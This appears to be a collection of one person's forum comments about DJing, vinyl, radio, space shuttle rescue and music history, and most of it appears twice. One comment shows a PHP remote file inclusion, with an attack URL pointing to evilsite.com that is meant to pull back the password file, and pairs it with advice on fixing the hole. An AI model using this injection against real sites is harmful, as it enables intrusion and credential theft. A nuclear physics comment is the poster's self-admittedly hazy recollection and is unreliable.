Richard E Grant and the crap Doctor who getting up to all sorts of adventures in the countryside. Famous for the drinking game associated with the movie which is best played with an ambulance on the way.
I'm lucky enough to live in San Francisco where the music scene is very DJ orientated - so there's plenty of places that import records from all over the world - but mainly europe. Sometimes I can pick imports up at groovetech.com or satelliterecords.com - but I find that it's ultimately faster and more reliable to go straight to the source - Juno.co.uk distributes almost everything dance music related from europe. And For DJ's the advantage of getting stuff straight from Europe is that I end up playing tracks a good few weeks before my 'competitors' in the DJ scene.
I've just started doing a weekly radio show, and we have a big focus on new music. I'm not well enough known to get on the mailing lists of record labels, so I have to stay ahead of the game using juno.
It's a great quote, sadly I'm not enough of a programming expert to come up with an equally good comment. I did once write a parser for windows media ASF stream in java, that was an experience I never want to repeat....
Yep the OMS has a total mission delta-v of only 1000 fps, so definately out of luck.
Really the various space agencies shold get together and create a number of standards for inter-vehicle supply transfer. You know - standardised fittings and transfer pressures so that you can take a standard pump and transfer oxygen and other 'standard' supplies from one vehicle to another.
So.... in the case where it was decided that a vehicle was too damaged to survive reentry it would be possible to send up something like a progress module and at the very least restock essential supplies. Of course... without a manipulator arm it would be extermely hard to rendezvous.... just not impossible.
Fuel would probably not be a good idea simply because there are many different propellant types. but at the very least you cover hydrogen, oxygen and water - so at least you can keep the crew alive and the fuel cells running. Then the crew settles down for a month or so that it takes to put a full rescue mission together. For a crew of 7 you'd need at least russian launches
It's probably cheaper to keep a russian (or european) rocket on standby than it is to keep a shuttle tooled up.
They've already agreed on a standard docking mechanism. Then again maybe the extra weight of the umbilical connction points would add too much weight to justify it.
OK, I've not seen the numbers on what sort of delta-v was required for a rendevous, and what was available, has anyone actually got hard number on this?
Secondly, docking isn't necessary to transfer crew, there's always 2 EVA suits on board and since challenger every crew member has an Advanced Crew Escape suit which is a partial pressure suit designed to work at 'up to 100,000 feet' - that's 1% of sea level pressure. In theory a fast transfer through a vacume could be made with the assistance of an astronaut in an EVA suit.... oxygen starvation is the main problem here.
So... if someone has a nice dynamic analysis which shows that the navigation for a rendezvous would be impossible then I'd be happy.
U 238 absorbs nucleons (can't rememebr whether it's neutrons or Alpha particles) and transforms into plutonium. The plutonium is then used as fuel. Isn't the problem with refining 235 out of the 238 that 238 is a neutron absorber so it limits the reaction? There have been a few test reactors - notably at Douneray in scotland and an experiment in Japan.
Has this guy come up with a hitherto unknown reaction for power generation? Or does nobody on Slashdot remember their basic nuclear physics.
It's all very well for you to act all knowledgeable, classify this as a sillly misytake and look down on those people making it - but that doesn't help make any software more secure - get out ther and educate people.
I believe hes referring to this construct. a simple example of a bad include is
include($theme . "theme.php");
Basically is $theme isn't set then it uses some default theme, but alternate themese can be set in the url e.g.
webpage.php?theme=brushedmetal
now.....
the reason this can be dangerous is that php can include files across http urls so I could go to the page with a URL like
webpage.php?theme=http://evilsite.com/
and on evilsite.com have a theme.php file which does something like
So I get the password file spat back to me (obviously evilsite.com has to *not* run php otherwise you get the password file from evilsite.com).
Make sure you sanitise those path variables, and if you don't need it disable 'allow_url_fopen' to avoid offsite scripts being used but local files can still be manipulated. Also 'register_globals' stops the user specifying global variables which will also prevent this and other bugs.
BBC radio 1 is a pop station by day and a cutting edge music station by night.... when I lived in the UK I timwshifted by just recording big mp3s - I didn't even have an FM card, I just plugged my radio headphone jack into my PC.
Of course... now I've moved to the US which means I don't need to bother with the timeshifting by virtue of geographic location;-)
But on the down side I only have access to lousy real audio - especially since the bbc is lacking manpower to do this in ogg;-)
You want new music? And Some Old stuff you've probably never heard - just listen to the John Peel show from bbc radio 1 - http://www.bbc.co.uk/radio1 Trust me - once you get into him you'll never look back. Actually R1 has quite a few good interesting evening shows to check out it's well worth your time.
Or if you live in San Francisco you could just come to some of my DJ gigs and listen to what I play;-)
For example - they suggest that work experience is inadequate and that a degree in the field of work is required. Well... I spent 10 years getting various degrees in Astronomy and Physics before getting bored and writing internet radio software (icecast, mp3serv, mp3mixer). When a company in the US recruited me to architect their mp3 streaming system I could demonstrate that I'd been working in mp3 streaming for longer than anyone else. Even then there was some worry that my degrees never really said much about computer science despite the fact that I'd been hacking code for 20 years as an 'amateur'. But my Masters did have the phrase 'computational physics' in it, so that was enough to get me in back in 2000. Probably not any more.
Really, what the visa program should be about is determining whether a potential applicant will make the US a better place. Skilled workers benefit the economy regardless of their nationality. With H1 visas there is this notion of taking jobs away from 'qualified' US workers, well everyone I've seen that was as qualified as myself is either in a job or choosing to take time off.
Of course... if you cut down the number of tech workers US companies can import then you might start to find that more work gets outsourced overseas - moving money out of the country and weakening the economy.....
IIRC the last singel to hit #1 in the US which was only available on vinyl was 'Nothing Compares 2 U' by Sinead O'Connor.
In the UK things of course are going back.... In 1992 'The Wedding Present' made a big thing by releasing a limited edition single every month for a year - these were vinyl only releases. They all entered the top 40 purely on vinyl sales. Ten years later, vinyl-only releases are starting to make an impact on the charts again. Nukleuz records - purveyors of harder dance music - are now probably the biggest vinyl producer in the UK and sveral of their releases are charting purely on vinyl.
BEcause the DJ scene is so important in europe there has recently been shortages in vinyl manufacturing capacity. I hear a lot of UK companies are having to outsource their vinyl pressing to the Czech Republic to make their release dates.
Personally I'm a vinyl junkie, I spend over $5000 a year on hard to find vinyl, and I DJ a few weekly events. Of course all this is funded by my day job as a software developer (I was working at napster until recently). I wrote a digital mixing application for linux about 6 years ago, back then mp3 wtill wasn't really standardised so I used Raw CDR audio, or Mpeg Layer 2. The UI on any digital mixing application sucks compared to vinyl, Final scratch is close but has too many shortcomings (where's the vorbis support?).
The other somewhat dubious advantage of vinyl is that the music industry's lawyers see to be more tolerant of short run vinyl bootlegs of tracks which could never get released legally - Usually mashups of Britney Spears vs Nirvana over a 4 to the floor beat. If that was put out as an mp3 or CD they'd probably be more aggressive, but vinly tends to only go to DJ's who can make a decent argument about promoting music. I'm not saying litigation is uneard of, but It's very rare.
It's a shame that some fo the more interesting moments in Internet history are so transient the wayback machine can't catch them.
e.g. The Ded Kitty picture we put up when napster shut down at the star of september, it was only there for a few hours but it will be lost.
Of course, some of the more interesting transient events are websites that are hacked, but there exist dedicated archives for this kind of event, so you can relive the hilarity of RIAA.org being repeatedly defaced.
Intel experienced a lot of resistance from engineers when they introduced their first microprocessor. Some of them joked about losing their computer in the cracks between floorboards, although the main problem was that they couldn't get their mind around replacing the whole CPU if one transistor on it failed.
I have original pressing of all those, every now and then I'll break them out at afterhours parties mostly so people can see these choice items from history. They're great in context, they shouldn't be forgotten, but if I tried to play any of them without the contect I'd lose everyone from the dancefloor... It's a shame I'd really love to one up all these lame 70's and 80's nights and do more focussed theme parties - Recreate the sounds of the Warehouse for a night, or the Paradise Garage, The Hacienda Club, Shoom, the love parade, hey even studio 54. I have the records, it's just hard to get a one off party to work.
For me the real turning point for house music is 'Voodoo Ray' by a Guy Called Gerald - suddenly house grew up and became intellectual and danceworthy.
KLF were pretty damn interesting too, moreso in their guise as media terrorists.
At least in the UK, it was all about rebellion and doing it yourself, destroying that crappy prog-rock that had taken over the world. Studio production costs were the barrier, and everyone was producing albums with choirs and orchestras. Anyone remember King Arthur & The Holy Grail.... On Ice?
Punk bands were recording tracks onto 2 track tape in their bedrooms and pressing up a few hundred 7"s to sell. The costs were low and there was a huge explosion in musical diversity. Then.... it all kinda went away for a bit, suddenly synth bands were everything and synths cost a load of money, production values went up again and the music business regained some control over what was getting released. But... the computer technology that was so expensive in the early 80's obeyed Moore's law and the gear came down in price quickly. By '86 we start to see the first house records coming out of chicago. Artists would create reel to rell versions of their latest productions to try out live, then they'd tweak it until it was time to press up some vinyl.
Then it crossed the atlantic and the UK rave scene suddenly grew up out of bedroom acts. Orbital talk about producing 'Chime' for the cost of a high quality blank tape. Anyone doing electronic music could sidestept eh expensive recording studios, press up a few hundred 12" records and have an underground hit. As time went on the electronic tools got better and better, and the producers got better too, expanding the range of music coming out of their bedroom studios.
Then we have the advent of the recordable CD and variable pitch CD players, now you didn;t even need to press up 12"s or carry around tapes which had a habit of getting chewed up (the first acid house record famously got destroyed by the tape machine - 'Acid Trax' originally had a vocal, but that version was lost). About the same time the internet really got going and people began sharing mp2's on download sites so people could get hot tracks without waiting for them to be released. Later mp3 came along with better sound quality and smaller file sizes.
The music industry of course ignored all this, except for the occasional crossover electronic track used in commercials.
In november '97 I released mp3serv - the first live microcasting radio system, it was a bitch to setup, but a few people used it to do live radio from PC's. A year later Shoutcast brought the concept to windows PC's. Then web services like myplay made radio possible using nothing more than a web browser.
Barriers to entry are always getting knocked down, technology is really good at solving some types of problem.
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Richard E Grant and the crap Doctor who getting up to all sorts of adventures in the countryside. Famous for the drinking game associated with the movie which is best played with an ambulance on the way.
I can't tune into BBC Radio 1 at their yearly DJ party in Miami... the Real Audio server is just too loaded.
Dammit some of us are interested in *real* news.
All I care about is the weapons of mass dancing that the DJ's are going to be showing off.
They didn't give me an option when I registered, then when they spammed me and asked to be removed to the mailing lists they also disabled my account.
Now I just use yahoo groups.
I'm lucky enough to live in San Francisco where the music scene is very DJ orientated - so there's plenty of places that import records from all over the world - but mainly europe. Sometimes I can pick imports up at groovetech.com or satelliterecords.com - but I find that it's ultimately faster and more reliable to go straight to the source - Juno.co.uk distributes almost everything dance music related from europe. And For DJ's the advantage of getting stuff straight from Europe is that I end up playing tracks a good few weeks before my 'competitors' in the DJ scene.
I've just started doing a weekly radio show, and we have a big focus on new music. I'm not well enough known to get on the mailing lists of record labels, so I have to stay ahead of the game using juno.
It's a great quote, sadly I'm not enough of a programming expert to come up with an equally good comment. I did once write a parser for windows media ASF stream in java, that was an experience I never want to repeat....
Yep the OMS has a total mission delta-v of only 1000 fps, so definately out of luck.
Really the various space agencies shold get together and create a number of standards for inter-vehicle supply transfer. You know - standardised fittings and transfer pressures so that you can take a standard pump and transfer oxygen and other 'standard' supplies from one vehicle to another.
So.... in the case where it was decided that a vehicle was too damaged to survive reentry it would be possible to send up something like a progress module and at the very least restock essential supplies. Of course... without a manipulator arm it would be extermely hard to rendezvous.... just not impossible.
Fuel would probably not be a good idea simply because there are many different propellant types. but at the very least you cover hydrogen, oxygen and water - so at least you can keep the crew alive and the fuel cells running. Then the crew settles down for a month or so that it takes to put a full rescue mission together. For a crew of 7 you'd need at least russian launches
It's probably cheaper to keep a russian (or european) rocket on standby than it is to keep a shuttle tooled up.
They've already agreed on a standard docking mechanism. Then again maybe the extra weight of the umbilical connction points would add too much weight to justify it.
OK, I've not seen the numbers on what sort of delta-v was required for a rendevous, and what was available, has anyone actually got hard number on this?
Secondly, docking isn't necessary to transfer crew, there's always 2 EVA suits on board and since challenger every crew member has an Advanced Crew Escape suit which is a partial pressure suit designed to work at 'up to 100,000 feet' - that's 1% of sea level pressure. In theory a fast transfer through a vacume could be made with the assistance of an astronaut in an EVA suit.... oxygen starvation is the main problem here.
So... if someone has a nice dynamic analysis which shows that the navigation for a rendezvous would be impossible then I'd be happy.
Apologies.....
U 238 absorbs nucleons (can't rememebr whether it's neutrons or Alpha particles) and transforms into plutonium. The plutonium is then used as fuel. Isn't the problem with refining 235 out of the 238 that 238 is a neutron absorber so it limits the reaction?
There have been a few test reactors - notably at Douneray in scotland and an experiment in Japan.
Has this guy come up with a hitherto unknown reaction for power generation? Or does nobody on Slashdot remember their basic nuclear physics.
Clearly someone who didn't get the whole Christian + Dark Kind Reference......
The Parsec game engine should prove a nice basis to re-create the 8/16 bit classic elite in noughties style.
Then again maybe Christian will get around to releasing his dark-kind source sooner.
Indeed - it only occurs in those cases - but this is an awful lot of cases
phpBB 1 & 2,W-Agora,Active PHP Bookmarks,PHP Nuke, phpWebSite,phpshare,phpReactor......
It's all very well for you to act all knowledgeable, classify this as a sillly misytake and look down on those people making it - but that doesn't help make any software more secure - get out ther and educate people.
I believe hes referring to this construct.
.
a simple example of a bad include is
include($theme . "theme.php");
Basically is $theme isn't set then it uses some default theme, but alternate themese can be set in the url e.g.
webpage.php?theme=brushedmetal
now.....
the reason this can be dangerous is that php can include files across http urls so I could go to the page with a URL like
webpage.php?theme=http://evilsite.com/
and on evilsite.com have a theme.php file which does something like
So I get the password file spat back to me (obviously evilsite.com has to *not* run php otherwise you get the password file from evilsite.com).
Make sure you sanitise those path variables, and if you don't need it disable 'allow_url_fopen' to avoid offsite scripts being used but local files can still be manipulated. Also 'register_globals' stops the user specifying global variables which will also prevent this and other bugs
BBC radio 1 is a pop station by day and a cutting edge music station by night.... when I lived in the UK I timwshifted by just recording big mp3s - I didn't even have an FM card, I just plugged my radio headphone jack into my PC.
;-)
;-)
Of course... now I've moved to the US which means I don't need to bother with the timeshifting by virtue of geographic location
But on the down side I only have access to lousy real audio - especially since the bbc is lacking manpower to do this in ogg
You want new music? And Some Old stuff you've probably never heard - just listen to the John Peel show from bbc radio 1 - http://www.bbc.co.uk/radio1
;-)
Trust me - once you get into him you'll never look back. Actually R1 has quite a few good interesting evening shows to check out it's well worth your time.
Or if you live in San Francisco you could just come to some of my DJ gigs and listen to what I play
For example - they suggest that work experience is inadequate and that a degree in the field of work is required. Well... I spent 10 years getting various degrees in Astronomy and Physics before getting bored and writing internet radio software (icecast, mp3serv, mp3mixer). When a company in the US recruited me to architect their mp3 streaming system I could demonstrate that I'd been working in mp3 streaming for longer than anyone else.
Even then there was some worry that my degrees never really said much about computer science despite the fact that I'd been hacking code for 20 years as an 'amateur'. But my Masters did have the phrase 'computational physics' in it, so that was enough to get me in back in 2000. Probably not any more.
Really, what the visa program should be about is determining whether a potential applicant will make the US a better place. Skilled workers benefit the economy regardless of their nationality. With H1 visas there is this notion of taking jobs away from 'qualified' US workers, well everyone I've seen that was as qualified as myself is either in a job or choosing to take time off.
Of course... if you cut down the number of tech workers US companies can import then you might start to find that more work gets outsourced overseas - moving money out of the country and weakening the economy.....
IIRC the last singel to hit #1 in the US which was only available on vinyl was 'Nothing Compares 2 U' by Sinead O'Connor.
In the UK things of course are going back.... In 1992 'The Wedding Present' made a big thing by releasing a limited edition single every month for a year - these were vinyl only releases. They all entered the top 40 purely on vinyl sales. Ten years later, vinyl-only releases are starting to make an impact on the charts again. Nukleuz records - purveyors of harder dance music - are now probably the biggest vinyl producer in the UK and sveral of their releases are charting purely on vinyl.
BEcause the DJ scene is so important in europe there has recently been shortages in vinyl manufacturing capacity. I hear a lot of UK companies are having to outsource their vinyl pressing to the Czech Republic to make their release dates.
Personally I'm a vinyl junkie, I spend over $5000 a year on hard to find vinyl, and I DJ a few weekly events. Of course all this is funded by my day job as a software developer (I was working at napster until recently). I wrote a digital mixing application for linux about 6 years ago, back then mp3 wtill wasn't really standardised so I used Raw CDR audio, or Mpeg Layer 2. The UI on any digital mixing application sucks compared to vinyl, Final scratch is close but has too many shortcomings (where's the vorbis support?).
The other somewhat dubious advantage of vinyl is that the music industry's lawyers see to be more tolerant of short run vinyl bootlegs of tracks which could never get released legally - Usually mashups of Britney Spears vs Nirvana over a 4 to the floor beat. If that was put out as an mp3 or CD they'd probably be more aggressive, but vinly tends to only go to DJ's who can make a decent argument about promoting music. I'm not saying litigation is uneard of, but It's very rare.
These guys Offices were right across the road from Napster's offices..... there's something very hostile about the internet music business.
Hint: Don't put security pages in your robots.txt which aren't supposed to be linked.... or at least secure them with a password.
http://www.zone-h.org/en/news/read/id=894/
It's a shame that some fo the more interesting moments in Internet history are so transient the wayback machine can't catch them.
e.g. The Ded Kitty picture we put up when napster shut down at the star of september, it was only there for a few hours but it will be lost.
Of course, some of the more interesting transient events are websites that are hacked, but there exist dedicated archives for this kind of event, so you can relive the hilarity of RIAA.org being repeatedly defaced.
Intel experienced a lot of resistance from engineers when they introduced their first microprocessor. Some of them joked about losing their computer in the cracks between floorboards, although the main problem was that they couldn't get their mind around replacing the whole CPU if one transistor on it failed.
I have original pressing of all those, every now and then I'll break them out at afterhours parties mostly so people can see these choice items from history. They're great in context, they shouldn't be forgotten, but if I tried to play any of them without the contect I'd lose everyone from the dancefloor... It's a shame I'd really love to one up all these lame 70's and 80's nights and do more focussed theme parties - Recreate the sounds of the Warehouse for a night, or the Paradise Garage, The Hacienda Club, Shoom, the love parade, hey even studio 54. I have the records, it's just hard to get a one off party to work.
For me the real turning point for house music is 'Voodoo Ray' by a Guy Called Gerald - suddenly house grew up and became intellectual and danceworthy.
KLF were pretty damn interesting too, moreso in their guise as media terrorists.
I have some original chicago house records...
;-)
Good Gawd they're boring
At least in the UK, it was all about rebellion and doing it yourself, destroying that crappy prog-rock that had taken over the world. Studio production costs were the barrier, and everyone was producing albums with choirs and orchestras. Anyone remember King Arthur & The Holy Grail.... On Ice?
Punk bands were recording tracks onto 2 track tape in their bedrooms and pressing up a few hundred 7"s to sell. The costs were low and there was a huge explosion in musical diversity. Then.... it all kinda went away for a bit, suddenly synth bands were everything and synths cost a load of money, production values went up again and the music business regained some control over what was getting released. But... the computer technology that was so expensive in the early 80's obeyed Moore's law and the gear came down in price quickly. By '86 we start to see the first house records coming out of chicago. Artists would create reel to rell versions of their latest productions to try out live, then they'd tweak it until it was time to press up some vinyl.
Then it crossed the atlantic and the UK rave scene suddenly grew up out of bedroom acts. Orbital talk about producing 'Chime' for the cost of a high quality blank tape. Anyone doing electronic music could sidestept eh expensive recording studios, press up a few hundred 12" records and have an underground hit. As time went on the electronic tools got better and better, and the producers got better too, expanding the range of music coming out of their bedroom studios.
Then we have the advent of the recordable CD and variable pitch CD players, now you didn;t even need to press up 12"s or carry around tapes which had a habit of getting chewed up (the first acid house record famously got destroyed by the tape machine - 'Acid Trax' originally had a vocal, but that version was lost). About the same time the internet really got going and people began sharing mp2's on download sites so people could get hot tracks without waiting for them to be released. Later mp3 came along with better sound quality and smaller file sizes.
The music industry of course ignored all this, except for the occasional crossover electronic track used in commercials.
In november '97 I released mp3serv - the first live microcasting radio system, it was a bitch to setup, but a few people used it to do live radio from PC's. A year later Shoutcast brought the concept to windows PC's. Then web services like myplay made radio possible using nothing more than a web browser.
Barriers to entry are always getting knocked down, technology is really good at solving some types of problem.